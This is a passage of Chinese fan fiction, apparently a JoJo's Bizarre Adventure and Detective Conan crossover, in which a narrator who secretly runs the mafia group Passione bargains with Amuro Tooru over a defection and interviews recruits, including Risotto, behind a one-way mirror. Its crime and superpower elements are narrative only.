黑发少年抿着嘴,想了许久,终于轻轻点了点头。虽然之前爸爸告诉他应该当作没看见这事,但是他始终放心不下。
布加拉提的声音轻轻的,像是怕被人发现听见谈话,“我之前和爸爸出海的时候,看见一群租了渔船的客人拿着针筒,看起来像是喝了很多酒一样跳来跳去,声音也很大,我觉得有点奇怪,但是……”
我明白布加拉提的未尽之意,随即用更加轻柔的力道摸了摸对方的头发,“谢谢你告诉我,布加拉提。”
黑发少年的眼睛里还残存着说了秘密的惶然和迷茫。
我收回了手,也学着布加拉提之前对姿势,将手握拳放在胸口,“我向你保证,之后这里不会有这么奇怪的事情发生。”
黑发少年眼中的惶然消失了,取而代之的是一种疑惑。但现在并不是解释的时候。
我只是微微一笑,站起身来和对方告别,又回去投入到我的工作中去了。
是的,工作。
虽然托比欧确实非常能干,但考虑到对方的年纪,我没能成功劝离对方离开passione就显得我很是垃圾了,更不可能把什么活都交给对方干。
即使是Boss,也不是什么甩手掌柜,该干的活还是得干,更别提我正想对于passione进行一些改造。
从passione中继承的金钱很多,我根本不能拒绝这甜蜜的“继承”。
但除此之外,对于passione的责任我也一并继承了过来。
虽然我也想过要不直接把passione的钱转移了跑路,开始享受精彩人生。至于作为“boss”,其实根本不在我的人生规划当中,反正passione的boss从来没有人见过,莫名其妙去世了话也很正常吧。
但这个计划下一秒就被我否了。在意大.利,黑手.党已经算是当地根深蒂固的一部分了。势头很猛的passione突然失去boss控制,那些零碎的黑手.党势力又将开始掀起新的波澜。
我回想起里苏特的侄子的冤假错案,想起监狱里形形色色的11号囚犯,想起关系户扎堆的警.局,想起了刚穿越时那群以加入黑手.党为荣的混混青年,我会无法放任自己忘记这些。
如果我想要那比passione的巨额财富,那么相应的,我也得担负起相当的责任。
不管怎么说,我可不希望在这里成长的孩子最终归宿都是黑.手.党啊!
回想起里苏特效忠的姿态,我忍不住按了按眉心——不管怎么说,先从教育抓起吧!
129.一点前替换
又是一个晴天。
阳光洒在海面上,一片波光粼粼,好似无数耀眼的宝石在闪烁。
有数十艘渔船在远处航行,渔民“咻”地一声撒网,期待着今天的收获。游客们三三俩俩结伴走在海滩上,有的在小摊上驻足和小摊贩们讨价还价,“OK”一声,末了带着砍价成功的表情满意而去,小摊贩们也很高兴,满意地看着冤大头们离开。孩子们手上带着沙滩玩具,欢呼雀跃地在沙滩上奔跑,留下一串串脚丫子印。
各式各样的声音被海风送往远方。
一个黑发女人在高处,驻足凝视着海滩的热闹的景象许久,随后皱起眉头,一手握拳敲在另一只手掌心,喃喃自语。
“难怪上次砍价那么顺利,我上次果然被宰了。”
这个小烦恼没有困扰她很久。几秒钟后,她重新舒展眉头,向低处的一个餐厅走去。
餐厅的厨房内,金发黑皮的男人将舀出来的酱汁放入舌尖,闭上眼品味了一番。再次睁眼时,眼中明显带着惊喜。
“明明只是将食材切得更碎了一点,但是无论是香气还是酱汁的浓郁度都远胜过之前的那一个版本,这真是太神奇了!”
他这样的反应很好取悦了一位认真的厨师,身穿厨师制服的托尼欧·托拉萨迪温和一笑,向这位这位千里迢迢来那不勒.斯学艺的安室透先生继续补充,“如果想在香气上再下功夫,对于香草的选择也是有讲究的……”
“叮铃。”
门口的风铃寓示着客人的到来。托尼欧·托拉萨向安室透颔首,示意自己先去外面接待客人。
金发黑皮的男人自然不会说些什么,微笑目送托尼欧·托拉萨离开了厨房。
厨房门外响起托尼欧·托拉萨的声音,“欢迎光临,露娜小姐,好久不见啊。”
“确实好久不见啊,托拉萨先生。最近游客不少,您餐厅的生意肯定也很好吧。”女人清亮的声音从外面传来,一开口就是在捧场。
“生意确实好了不少。不过现在都快过了旅游旺季,按照往年的情况,游客应该慢慢减少才是,没想到今年这个时候游客的数量还再继续增长。”
“是这样吗?那也应该不赖吧。”女人似乎拉个了椅子坐下,笑盈盈地继续说话,“真期待今天能吃到什么呢?”
“唔……”似乎是在观察,托尼欧·托拉萨沉吟片刻,报出了一长串菜名。
“居然是和上次完全不同的菜色,一听就让我感觉饿了!”
好胃口食客的期待是厨师的兴奋剂。托尼欧·托拉萨笑了一声,“新菜色是因为露娜小姐您这次看起来比上次精神了不少,根据您的新状态我调整了新菜单。看起来最近工作压力小了不少啊?”
“因为工作进行了一定调整,现在感觉稍微轻松了不少。但是果然,还是想找份新工作呢……”
说到这里,女人像是觉得话说得有些太多了,适时地打住了话头,开始说点别的什么,和厨师进行着些关于菜价的闲聊。
新工作,在厨房竖着耳朵仔细偷听的金发黑皮男人眼神一凛,将火关掉,慢慢地从锅中捞着面。
就在这时,厨房外托尼欧·托拉萨的声音停了下来,他向女人说了一声先去准备食材了。
安室透暗叫一声不好。
男人轻轻的脚步声传来,厨房的门被轻柔地打开,托尼欧·托拉萨面无表情的脸出现。
“安室透先生,现在还没到关火的时间,如果炖煮的时间不够长了话酱汁的风味会大打折扣的……”原先温和的厨师表情变得严肃了起来,显然对此极其不满。
没想到连这点声音都能听见,这是普通厨师可以做到的吗?他不是在谈话吗?
安室透心中倒吸一口凉气,面上却是很诚恳地道歉才算是平息了一个高标准的厨师的怒火。
也不怪他最近警惕,开始怀疑起一个厨师是否有什么隐藏身份。
一个月前,他所卧底的组织在意.大.利几乎像是被报复性打击,一些隐蔽的据点都被挖出,据点所在的人员要么是以什么罪名被关进了监狱,很难运行出来;要么就是一些街头斗殴事件而意外伤亡。埃.及的实验室更是损失惨重。
这样鲜明的打击持续了几天左右就很快平息了下来。剩下的据点没有被挖出,他的房间里也没再被塞入什么背后写着passione的人物照片。
或许这是暴风雨前的宁静。先前的打击报复已经叫人心惊胆颤了,明白了passione的魄力。
是的,passione的魄力。这般的行径已经惊动了上面那位,贝尔摩德传来了Boss的态度。
对于这次的打击先,暂时不要有面上强硬的动作。
将最近在意.大.利的事件串起来看,大抵是passione对于其他小的黑手.党的镇压与吞并。只不过他们的组织在意.大.利行动时露出了马脚,被那些受到passione蹂躏的黑手党利用去调查所谓照片上的男人,反而激怒了passione进行报复性打击。
这块本就不是组织的主场,因此根本没有必要立马和passione杠上,完全可以慢慢等着passione与其他本地黑手.党斗得头破血流时再介入。
虽然高调的寻人启事不是组织登的,但受到惨痛打击的还是组织。贝尔摩德似乎都被上面那位点了几下,作为调查主力的安室透自然也得扛锅,原先将要到嘴的代号“波本”又离开了不少。
虽然在安室透心底,组织被打击得越猛烈越好,这类邪恶势力本来就不应该再延伸它的脚步;但作为卧底,如果久久不得到代号,就代表着无法获得组织内Boss的信任,无法获取组织的更多信息,离将组织捣毁也就越来越远。
他必须找到新的出路,而目前,在意大.利,最好的是就是更加深入了解passione,和它达成合作也好,能借组织的力打击它也行。
不管做什么,都必须让他往上爬,尽快拿到代号才行。
而想要做到这点,必须要接触passione的成员。
“哎?安室透先生?”女人的声音有些疑惑,她从椅子上起来,走到了厨房外。
作为食客
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,她很懂规矩得没有进厨房,只是就着打开的门与安室透对视了一眼,好像才知道安室透也在这家店一样。
“真是巧啊,安室透先生,好久不见了。”女人笑了笑,隔着门进行了寒暄。
金发黑皮的男人也点了点头,“确实好久不见了露娜小姐,最近都没在公寓见到你。”
微笑的影子悬在安室透上扬的嘴角,他趁托尼欧·托拉萨还没开始提厨房守则前率先发问,“刚好我和露娜小姐认识,如果您不介意的话,我这次的成品能给露娜小姐品尝吗?”
托尼欧·托拉萨顿了顿首,转头看向黑发女人,“露娜小姐这回的菜单上也有那不勒.斯意面,如果您希望的话……”
黑发女人带着兴致盎然的笑地接过了话茬,“安室透先生的厨艺很好,这是我的荣幸。”
金发黑皮男人与她四目相对,嘴角都带着浅笑。
*
饭后显然很适合散步。
穿过熙熙攘攘的游客,走进幽静偏僻的林间小径,高挑的男女并排走着,看起来像是在享受此刻的宁静。
行至一半,道路旁有长椅出现。两人对视一眼,各坐在了长椅的一边。
“总感觉最近治安变得很好啊……”金发黑皮的男人率先开口,脸上带着迷人的微笑。
这个笑容似乎终于对他这位长久不见的邻居奏效了,比起以往的刻意冷淡,她现在的态度温和了不少。
不过说出来的话还是有点呛口的,让人怀疑她的社交能力。“这就是安室透先生不顾我之前说印堂发黑也要出去晃的原因吗?”
在逐渐变暗的天色中,安室透的微笑模糊了不少,“那也没办法,总不能不出门吧。就像露娜小姐您最近也不是很忙吗?”
“没人喜欢忙碌吧。要我说,我还想要一份轻松悠闲又有钱的工作,不知道安室透先生也没有介绍啊……”女人像是挺苦恼的样子,毫不隐瞒自己的诉求。
金发黑皮的男人顿了顿,收敛了笑意,转头看向黑发女人,“这样的工作应该不好找吧,一般来说如果当前的工作还过得去大家都不会想着跳槽吧。”
黑发女人对上了安室透的视线,“工作总是有摩擦产生的吧,有时候忍忍就过去了,但是现有的工作的摩擦已经到了不能忍受的地步了。”
她说完,耸了耸肩,给了一个你懂的眼神。
“一般来说,换工作也得考虑换个工作地点哟。”
“如果薪水够高,我个人也不反感异地上班。未来什么都得走向国际化的。”
“这倒是很有战略眼光嘛露娜小姐,我手头是有份工作,不过需要您提供简历和目前做的成果。”金发黑皮的男人在椅子上挪了挪身子,往另一侧靠近了一点。
这个距离,黑发女人能闻到安室透领子上的肉酱的香气,这让她忍不住笑了出来。
“抱歉,简历可能没那么好看,好像我的Boss们都不愿意出现在我简历上。”顶着金发黑皮男人凝重的视线,她又悠悠补充了一句,“不过我的成果是可以转移的,我想,你们或许会感兴趣。”
130.目标
聊天的这会,天已经黑了。从这里抬头看天,还能看到明亮的星星。
听了我的话,对面金发黑皮的男人垂下眼帘,压下了眼底的猜忌,思考了片刻,没有急于开口。
我也不急,抬头开始数起了星星。
当我数到了30的时候,真正的谈判开始了。
“露娜小姐”,金发黑皮的男人抬眼对我微微一笑,以平静的口吻发出了邀约,“让我们好好谈一下吧。”
我自然不会拒绝。
在来之前,我就在脑中过了一遍对方的立场、我手中的牌、这次谈判可能存在的风险。
我知道对方不会抗拒我放下的鱼饵,就算我的鱼饵中可能掺和着别的东西,也很值得尝试。
在我曾经尾随(划掉)安室透的期间,我也能看出他对于往上爬的追求。“代号”在他们组织里好像是一种被boss认可的象征,能调动更多的组织资源与信息。
我从托比欧那里得知,之前因为种种缘故,他执行了去打击这个组织在于意.大.利和埃.及的据点以及实验室的任务。意.大.利和埃.及并不是这个组织的总部,但刚尝试在欧.洲发展就惨遭打击显然也不好受。而作为这次行动的执行者之一,本想拿着个作为功绩往上爬的安室透必然也会受到教训,如果想要弥补这次失误戴罪立功,必须再做点什么东西才行。
毕竟社会是这样的,做得好不足为奇,但是做得差就会被人大肆批评。所以大家一般都保持着差不多的样子安稳度日,但是对于想要向上爬的人来说,适当的冒险才能带来想要的收益。
在这个时候,如果passione的成员带着某些不可言说的产业线,以此为条件试图加入组织,既能挫一挫可恶的passione的锐气,也能帮助组织找到passione的弱点。
只要事情进行的顺利,passione这位成员加入组织的介绍人,一定能在组织的地位更进一步。
“但是露娜小姐,你的离职不会遭人怀疑吗?”究竟是背叛passione还是替passione试探组织?
安室透嘴角上扬,眼神还是冷静如水。
我拿出了我早就准备好的答案,“我偶尔也是需要出差的,离开了几个月当然不成问题,我想这点时间也够我们进行交接了。”
“但是这么大的蛋糕喂给我们,怕不是有点慷慨了吧?”金发黑皮的男人身体向前倾,距离陡然拉近,我甚至都能看清他的外套纹路。
看材质和版型感觉是牌子货,应该是他们组织报销的吧,真不错啊。
我忍不住感慨,顺手抵住了对方从长椅后绕过来的枪,“谈判不就是得拿出诚意来吗?反正那部分的蛋糕在我手上,也不能让我怎么样。”
我将枪口推回去,摇了摇头,“不过看起来安室透先生你的诚意不是很足吗?那我还是选择别人比较好。”
对方似乎没想到我会先一步察觉枪支,眼神变得锐利了起来,警惕地打量着我,见我起身忽而态度又软了下来,将枪老实地收回,小步跟了上来,脸上挂着灿烂的笑容,像是从来没有动过什么威胁的念头,“抱歉啊,这只是我们组织的常规操作而已,我个人还是很希望和露娜小姐达成合作的。”
我顿住了脚步,“我可还没加入组织,在我面前这么说真的好吗?”
“不要紧,总得让你先了解一下要加入的地方才行,毕竟进来的可就没有后悔的余地了。”金发男人绕到了我身前,带着一副关切的面具,歪头望着我。
“可是掏枪可不是什么谈判的好习惯。”
“...那看来我是得做什么来弥补一下才好。”直白的控诉让安室透笑意收敛了一点,回话时的声音都变得低沉了一些。
我并没有漏看对方眼底那一瞬间的纠结,见他又要拉近距离,为了防止他还想偷袭我决定率先提出要求,“这点我就先记着,等以后再说吧。”
两次偷袭都能原谅了话,就会显得我的脾气太好了。
今天也谈得差不多了,既然安室透还没得到“代号”,我送来的蛋糕还不一定是他能直接借花献佛给他所在的组织。层层上报是必须的,功劳被吞掉一些也是必须的。
不过这是他自己的事情。
“不过,露娜小姐,为什么选择我呢?”我的身后,安室透的声音带着一丝疑惑。
“不是你先选择接近我的吗?”我没有转身,只是摆摆手,继续向前走去,“而且都吃了你做的饭了,总不能吃白食吧。”
爱往上爬的人啊.....
变形术加上快速的步伐,我避开了安室透的跟踪,反而将他尾随回家。毕竟他再小心,也不会留意一只在屋顶上的猫或者飞翔的乌鸦。
在没当上boss之前,对于这样精妙的跟踪,我只会感到有些烦,而现在,当上了boss发现手下没什么人可用的我,终于明白了为什么当初粉色发霉章鱼干什么事情都要叫托比欧。
那是因为真的缺信赖的人啊。
passione的组织架构其实非常严密,整个组织就像一台运转良好的机器,Boss负责发号施令,命令就会从上到下各环节拆解成小部分被执行。
但是,想要所有人都乖乖听话,是需要暴力的运转和利益的诱惑的。
虽然粉色发霉章鱼已经通过血腥手段镇住了不少人,但对于无声无息继承了passione的我来说,想要进行passione的转.型,去除掉那些迅速牟利的巨大黑色产业就麻烦了起来。
我只是继承了passione,被金钱腐蚀了一下,也不代表我完全失去了良心。
好歹我是从未来穿越而来,有了资本,将钱投入未来回报高的
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合法产业并不是问题;组织里当然有反对的声音,那些原先负责黑色产业的部门失去了巨大的油水,就会开始闹起来。这时候,肉芽又能派上了用场。
剥离某些黑色产业的步伐不能一下子跨得太大,从内部直接动手难度大倒不如借助外部的力量,譬如,某个跨国犯罪组织的打击。
当然,这些事情的推进都是任重道远的,期间,乔瑟夫先生和阿布德尔先生以及花京院、承太郎也给我提供了许多帮助,但我也不可能完全依赖他们。我的责任不需要让同伴替我承担。
在这一个月内,我已经不知道时停多少次了,时间都是用于加班,这点遭到了同样能时停的承太郎的不满。
但我只是抱歉一声又继续加班了。
顺便一提,经过可恶的加班的锻炼,我的精神力在这种苦难中似乎进一步提升了,喜提时停最长30s。
在这期间,我都要差点继续像粉色发霉章鱼一样奴役托比欧加班,但我的良心死死提醒我对方还是个孩子,只能劝他休息然后自己加班。
说起来,对于passione的其他人,我的肉芽似乎没有造成什么奇怪的副作用,心理暗示和洗脑也都顺利进行,没有出现托比欧这样的记忆紊乱的问题。
对此,我只能怀疑是当初手生。
在缺人的当下,我只能祈祷托比欧快快成年,这样我能合法压榨(划掉),顺便试图招募点新人。
花京院和承太郎总得上学;乔瑟夫先生也有自己的spw要忙;乔纳森先生可是对乔鲁诺说过“绅士”理念的人,要对方来黑.手.党替我做参谋也不太行;伊奇老大虽然愿意帮我,但是他喜好自由,也不能长久呆着;波鲁纳雷夫如果当参谋了话,我都担心这家伙会被安室透一样的家伙三言两语就迷惑,总感觉对他对我都不好。
阿布德尔先生不管是性格和替身能力都非常合适,再加上占卜的技能,他答应在我的小目标完成前在passione任职。
对此,我表示非常感谢。总感觉一个组织的标配就是要有一个这样的人物在啊,没有钦天监怎么能算完整呢(划掉
我个人其实从没有过什么远大的理想,从小大抵能活就好,能吃饱就好。理想让我觉得遥远又有一种梦幻的色彩,我更习惯使用“目标”。
而近期的目标是剥离掉passione的黑色产业。稍长的目标是至少意.大.利的未成年人不会因为冲动或者走投无路再喊着理想啊羁绊啊什么的就加入黑.手.党。
而为了达成这个目标,我还需要新的血液的注入。
但是,看着熟悉的银发男人走进了这间招募的办公室,我还是不由得感到了一阵眩晕。
这算什么出师未捷身先死……
谁告诉我,为什么我之前劝过的未成年人还会毅然决然选择加入passione啊!
131.单向镜
不是我说,意.大.利就没有什么别的能干吗?经济还没有全面衰退,里拉也没有严重贬值,干点别的什么不好吗?
说起来,黑.手.党最早好像就是起源于西西里岛的,西西里岛的人难道对这有莫名的执着吗?还是说意.大.利人都这样吗.....
我身边,阿布德尔先生向我投来询问的眼神。我这时才注意到自己表情有点难看。
我向他摇了摇头,示意没什么事。但是内心依旧难以平息震撼。
如果黑.手.党文化是这么根深蒂固了话,我已经开始担心自己长期目标的可行性了。
糟糕啊,现在脑子里已经是那个看起来就很孝顺的布加拉提和乖巧的乔鲁诺在沙滩上奔跑,而后画风一变,17岁的布加拉提学也不上了和12岁的乔鲁诺一起告诉我他们想当黑.手.党。
啊,一想到这个场景就觉得有些头疼啊。这个绝对不可能发生!
我忍不住按了按自己的眉心,决定先解决眼前的事情。
“1号,你不符合要求,可以走了。”我按下开关,对着麦克风直接通知。
这样的知会显然很没礼貌。这种让你进面却直接一个问题不问就挂人的行为,十分的没素质。
阿布德尔摸了摸下巴,在纸上写下“敌人?”递给我。
我摇头,示意稍后再跟他解释。
伪装后的低沉声音通过无线信号传达到面试的房间。隔着单面玻璃,我能看到里苏特向前走来。高大的银发男人眯起红瞳,一手扣向了单向玻璃,垂下眼眸。
“理由。”
“这里不收没成年的小孩。”
我看了看手中的档案,忍不住暂时闭上了双眼。
我感觉以前胡言乱语收集情报的报应来了,证据就是简易简历中里苏特那一栏的25岁。
招揽里苏特的家伙到底有没有做过背调,我可是明确提出了只招成年人的。就算里苏特确实看起来块头挺大,脸上也没有稚气,但是这不代表年龄那栏直接写个25他也不怀疑吧。
似乎没想到会是这个理由,里苏特抬起了眼睛,双手交叉叠在胸前,眼底的困惑一闪而过。
“这很重要?”
“对现在的passione很重要。”
“为什么?”里苏特收回了触碰向单面玻璃的手,向后退了几步,眼睛却好像穿过了单向玻璃直直看向了我和阿布德尔。
他还没使用替身,除非他的眼神有透视功能,否则是无法看见这里的。
但是这样准确的直觉和锐利的眼神叫阿布德尔认真了起来。
他站直了身体,隔着单向镜将里苏特上上下下仔细打量了一遍,看着我没按下的开关,摸了摸下巴。
“他确实是个好苗子。”
我对此不置可否,“他已经是替身使者了,而且就我和他接触的样子来看,我认为他天分非常高。”
“那不能吸纳进来确实很可惜。”阿布德尔颇有些遗憾地看着里苏特,俨然已经进入了passione的可靠军师的状态。
我轻轻叹了口气,如果不是里苏特我确实也会觉得可惜,甚至可能考虑成年后再把对方挖进来。
毕竟现在天分高又聪明而且心思细腻的人我真的很缺。
可是,一想到我第一次接触里苏特,对方就是要为侄子翻案,还特意提醒一个作为无辜路人的我有人跟踪我。
从这个角度来说,对方应该很在乎家庭并且有一定的原则性。虽然对方对于司法系统显然不报有希望,但也没迁怒一个无辜警员。
但是,他调出档案的目的完全是想在法律外对于罪犯处于应有的刑罚,进行正义的私刑。如果他真的暗杀成功,为了不连累他的表哥一家,恐怕也会选择隐姓埋名离开又或者是干脆加入黑.手.党。
一个想要纠正“不公平”反而选择将自己染黑,再去实现“冷酷的正义”的人,我认为他能有更多选择。
让对方被“箭”刺中已经属于我的失职,我并不想再让对方加入黑.手.党。
未来还有无限可能,里苏特没必要把路走窄了。
实现正义的方式有很多种,只要再等等,我会努力创造一个能不需要依靠暴力来完成正义的环境。我想让大家有选择的自由。
只是还需要时间。
沉默的时间有些久了,里苏特隔着单面玻璃,继续发问。“为什么?”
“一个组织是要有原则的,passione不会接受心智还不成熟的家伙。”我按下了按钮,用刻意压低的嗓音警告。
“加入黑手党可不是游戏,它带不来青春的体验。passione不是荣耀和权力的梦,现实比你想的血腥多了。一旦进入,就无法回头。你还有时间去选择自己的道路,探索更多实现自己梦想的道路,而不是一开始就选择陷入黑暗里。”
说着,我有一瞬间的恍惚,不知道自己是在和谁说话。我顿了顿,决定放下狠话,彻底逼退里苏特。
“毛都没长齐的小子,还是回去读书吧,少白日做梦了。”我思索了片刻,决定结尾还是不要说意.大.利脏话了。
阿布德尔站在我身边,表情微妙地点了点头,伸手竖起大拇指对我的攻击力表示了认可。
我本以为这样子至少能击退里苏特。不管怎么说,对方都是年纪轻轻,被这么贬低,就算不恼羞成怒,好歹也会离开吧。
却没料到对方很沉得住气,只是站在原地,表情冷静,“希望你们是真的有原则。”
什么,这完全是油盐不进。
我正在思考是否要叫人直接把他请出去,里苏特又开口了,“这并不是我冲动的决定。我想加入passione不是为了什么荣誉的。”
我不说话,和阿布德尔交换了一个眼神。
“我只是想要做点改变,这片土地需要做出改变。”里苏特接着说,非常清晰地吐出了“改变”。
哈……
我皱起了眉头。这可不是什么竞选时义正严辞的讲话,这可是加入黑.手.党。
没有人知道passione的boss已经更换。如果按照先前的passione招聘,说这样想要“改
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变”的理想大抵是打动不了波尔波的,更别提加入了。
之前的passione只需要忠诚和服从就行。
这样的“改变”宣言恐怕立马会招致别人的嘲笑。果然里苏特还是太年轻了,根本没想好……
我和阿布德尔对视一眼,准备叫人让里苏特先行离开,却被对方的话语打断。
“而且我知道,passione一定需要我。”
“从这个月初港口那里的学校建设和景物就在被开发,那些在隐秘得兜售毒.品的家伙也忽然销声匿迹了起来,警.局里那些权贵的走狗动作也变得小了起来,这里面都有passione的影子。”
听见里苏特冷静确定的声音,我忍不住皱起了眉头。
passione的转型需要徐徐图之,虽然我能用肉芽控制一部分人,但为了防止步伐迈得太大而遭到众多反对,里苏特说的这些是我大多是隐秘行事。
这些事情百分之八十都是我亲自参与的,可是那时我也没察觉到有人跟踪。
可是剩下的百分之二十也是交给了托比欧和一些亲卫队下属去做,照理来说也是很隐蔽的。
里苏特是怎么知道的?除非他一直刻意留心passione的动作,并且在隐秘追踪时逃过了托比欧与亲卫队的眼睛。
话里的信息量使我大脑飞速运转,思考着现有行动模式的漏洞——难道我还需要能时刻检测周围是否有人的探测型下属?
里苏特向前走了一步,抬起手,将手放在下巴边,似乎在思考。
顿了顿,他下定了他的结论,“所以passione也在要改变。为什么不愿意让我一起呢?”
我一时语塞。
阿布德尔已然心动,眼神有些纠结地看向我,俨然像快要错过千里马的伯乐。
“年龄。”我对阿布德尔比了个口型,却也觉得说服力不大。
那方的里苏特仿佛听到一样,继续说道:“如果是年纪,我也只有几个月就符合标准;如果是心智,我想我肯定符合passione的要求。”
这简直就是天降ssr。
这难道就是对方的选择吗?即使在思考了很久,最终做出的决定也是走向黑.手.党吗?
我深呼吸,继续摁下按钮,“我认可你想要改变的决心,但是只要你肯等待,未来会有别的能让你促进这片土地改变的选择。”
“现在正是时候。”似乎想到了什么,里苏特的嘴角微微上扬。他的手像是要换个姿势,轻轻从脸旁拿开,自然垂下。
银发男人抬起了眼,眼睛猛地一缩。
这个动作没有逃过我的眼睛。
我上前了两步,走到了单向镜前,用指尖触碰镜面的上半部分。
看来就在刚刚,这里已经被变成了可以双向看见的玻璃了。
控制金属的能力还真是被开发到很好了,而且发动地悄无声息,如果不小心根本就发现不了。
“这不是替身能力掌握得很好嘛……”我轻轻敲了敲玻璃,看着呆愣住的里苏特,终于笑了出来。
132.学习对象
打脸来得太快就像龙卷风。
不过原则就是原则。
所以--
我继续按下按钮,对着麦克风说话,“1号,你介意先实习吗?薪资按照转正给,五险一金暂时不能交了话直接折现到每月薪水里。”
底线灵活的肮脏成年人选择自己留了退路。
里苏特没从中怔愣缓过来,目不转睛地望着我,呆站在原地,神情和刚刚发表“passione也需要我”的冷静自信表情截然不同。
难道觉得这样的待遇不好吗?
我转头,看向身边的阿布德尔先生,正打算商量一下,却见他上前一步,仔细扒着镜子,嘴里还在咂摸着“到底是怎么从单向镜变成玻璃的”。
单向镜本质上是普通玻璃的一种特别处理版本,只不过是在玻璃表面镀上一层薄的金属涂层。里苏特的替身能力能操作大概10米内的铁元素,恐怕就是去掉涂层。不过施法居然没有任何前摇,难道只靠那个手部动作吗?真是恐怖如斯啊。
哎,这么说替身的用法总是要与时俱进和科学接轨吧。那么难道我得去多了解一下狭义相对论、广义相对论、量子力学这样的东西吗?但总感觉一听名字就头大啊。
就这样,在场的三人同时陷入了沉默。
或许是察觉到了自己的分神,里苏特率先将自己从遐想中摆脱出来,话里还带着些许的急迫,“我愿意。”
哦呀,看来是不介意实习。
我满意地点了点头,又看见里苏特神色恢复如常,瞥了一眼我身旁的阿布德尔,然后继续看向我,“我想了解一下,之后我是在您手下做事吗?”
您?真是一套丝滑的转化啊。
我只是继续保持着微笑,将麦克风递给了passione目前的军师阿布德尔先生。他按下按钮,先替我回答了,“里苏特,很高兴你愿意加入我们。对于你加入后先在哪个部门工作,现在还在考察中,passione之后会根据你的特长进行合适的安排的。”
里苏特点了点头,接着又不再说话,就那么看着我。
我时刻记着自己此时的hr身份,不管怎么说也不能面上给人走后门,只是又拿回了麦克风,按下按钮,“里苏特。”
高大的银发男人迅速上前,认真等着下文。
“看起来,你的替身能力已经掌握得很出色了。”我慢慢收回了笑容,继续用手指扣了扣可怜的单向镜被改造的部分,“我们还要面试,你应该是能将镜子恢复成原状的吧?”
高大的银发男人点了点头,又重新将手举起,大约过了两秒钟,才开口,“已经恢复成原状了。”
阿布德尔点了点头,但一想到现在对方看不到,还是示意我继续用麦克风播报,“这次面试到此结束了,感谢你对于passione的支持,passione会在近期与你联系,祝你一切顺利。”
虽然现在passione还是黑.手.党就是了,但是鉴于我们转型洗白的未来,面试的结束语也得稍微显正规点。
里苏特离开的步子顿了一下,又像是什么都没发生一样继续离开了。
看着里苏特退场,阿布德尔点了点头,“看来今天运气很好,第一个面试的应聘者质量就很高。”
“不过有些可惜,还没用上我们的道具呢。”我百无聊赖地从暗门走过去,检查了一下单面镜,确定它的功能没有问题了之后又看向了一个小小的暗格。
里面,正是一只打火机和一个小的相册。
我拿起了相册,看着被固定在上面的[绿宝石水花]。在强光下,碧色的宝石折射出绚烂的光彩。
“不管第几次看还是觉得很漂亮。”
我情不自禁感慨着,又在暗格里直接点燃了打火机。
熟悉的黑色人型替身双手环臂,蜷缩在暗格的阴影中,一脸不爽地盯着我。
“小安啊......”作为一名心胸宽广的上司,我是不会计较下属的臭脸的,“待会你还得登场,我想你应该还记得我们约定的事情吧。”
【黑色安息日】不语,只是一味臭脸,只是轻微地点了点头。
傲娇已经退环境了啊。诶不对,傲娇按现在这个时间点可能还真是王道的时间。
我这么想着,但还是向【黑色安息日】投去鼓励的眼光,顺便提醒对方,“记得这回别直接捅人了。”
这回【黑色安息日】犹豫了5秒,才在我的目光中不情不愿地点头了。
我满意地关掉了打火机。【黑色安息日】没有一点迟疑,立马消失在黑影中。
......
都说替身是人的精神力量的体现。该不会波尔波对我印象很差,才连累【黑色安息日】和我关系很恶劣吧。
说起来,自从穿越后,我对于雇主的好感度就低得可怕。不会我现在的下属也这么想我吧。不会要进行那种屠龙者终成恶龙的老套剧情吧......
难道上次拿着“箭”丢失的由头去兴师问罪吓得太过了?
我回想起之前看见的波尔波的表情,沉默了一下。
“李,你怎么了呢?”
“阿布德尔先生,我突然想到我的一个朋友的事。”
阿布德尔从单面镜那块过来,检查了一下暗格,从善如流,“是个怎么样的事呢?”
“大概就是说ta把一个人给吓得惊恐发作到晕过去了,如果ta打算试着和那个被吓的人改善一下关系,应该怎么做呢?”
知识渊博的占卜师深深看了我一眼,非常自觉地掏出了塔罗牌。“既然如此,来占卜吧。”
哈哈,占卜会不会有点太轻率了。
我虽然这么想着,手却非常自觉地去依照指示拿出了三张塔罗牌。
【死神】、【塔】、【隐士】。
其中两个都是熟人呢。难道是要叫我像乔瑟夫先生的【隐者之紫】一样体察人心,然后用【灰塔】一样的速度去把这个事情给解决了?
我按着一些以往看过的心灵鸡汤做着自己的解读,有些紧张地看着阿布德尔。
对方神色凝重,看了我一眼,不急不缓地说道,“死神表明某个阶段的结束,说明你朋友与被吓到的人之间的关系已经到达了终点,不必再去刻意修复。塔强调了突发的变化和不可预知的结果,暗示继续努力可能是徒劳的。隐士提醒你朋友需要内省与独立,这时候反而是时候专注于自我。”
这完全就是放弃修复的意思吧,还是说我得干脆攒攒肉芽给波尔波种上算了。
“所以?”
占卜师露出了一个微笑,“结论就是,你的朋友应该没什么问题,放着那个人不管就好。”
我看向对方的脖子上很有分量的纯金项链,不由想起了我对他最初的印象--占卜,这么骗钱(划掉)赚钱的吗?
我们这样的占卜结果,真的没问题吗?
怀着这样的想法,我恍惚地又面试了13个人。
好消息:没有人伪造年龄了。
坏消息:大多数人完全是一群恶棍。
在灵
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魂状态下直言要烧杀抢夺贩.毒的人实在是太多了,甚至有人直接提出了推翻boss的追求。
--感谢你灵魂状态中被动诚实的远大追求,我会敲了闷棍说再见的。
没有什么特别混沌派,也有不错的替身能力,但是要求和下一个应聘者组成团体一起进passione的。
--居然要搞办公室恋情吗?但是我真的挺缺人的,待议。
一个白白胖胖看起来还挺讨喜的紧张应聘者,但是一开口就是“我会将生命献给passione,我的替身能力是死后发动的。”
--这也太沉重了,让你入伙是要买你的命吗?
怎么说呢,看那个应聘者澄澈的眼睛,我都不知道该怎么问出“你到底是怎么知道自己死后才会发动替身的。”
问得多了,对方就将破碎的家,吸.毒的爹,出走的妈,受伤的妹一咕噜吐露了出来,然后颤颤巍巍地跌坐在地上,“请一定收留我,我会为passione献上生命的。”
我捏了捏眉心,“出门右转3km是警局,去报警把你爹抓进去,然后左转6km,找到新开的占据了一整栋楼的进出口公司,那边正在招聘。”
“但是.....”
“能抓,在招人。去试试看吧。”我顿了顿,看着擦了擦眼泪的应聘者,“生命这么宝贵的东西,别随便放弃。我们这不招随时想轻生的员工。”
*
“所以Boss,果然我才是你最信任的下属吧。就算招不到新人也没有关系吧。”粉发雀斑少年捧着一堆资料放在了桌上,而后迅速蹲了下来,将脸凑到我面前。
不管怎么样,得知没招到很多合适的新人也太开心了一点吧,托比欧。
我叹了口气,“你当然是我最信任的下属了。”
都是那种可以完全支配身/体的那种。只要我有邪恶的念头,你完全是我的备用躯壳啊。
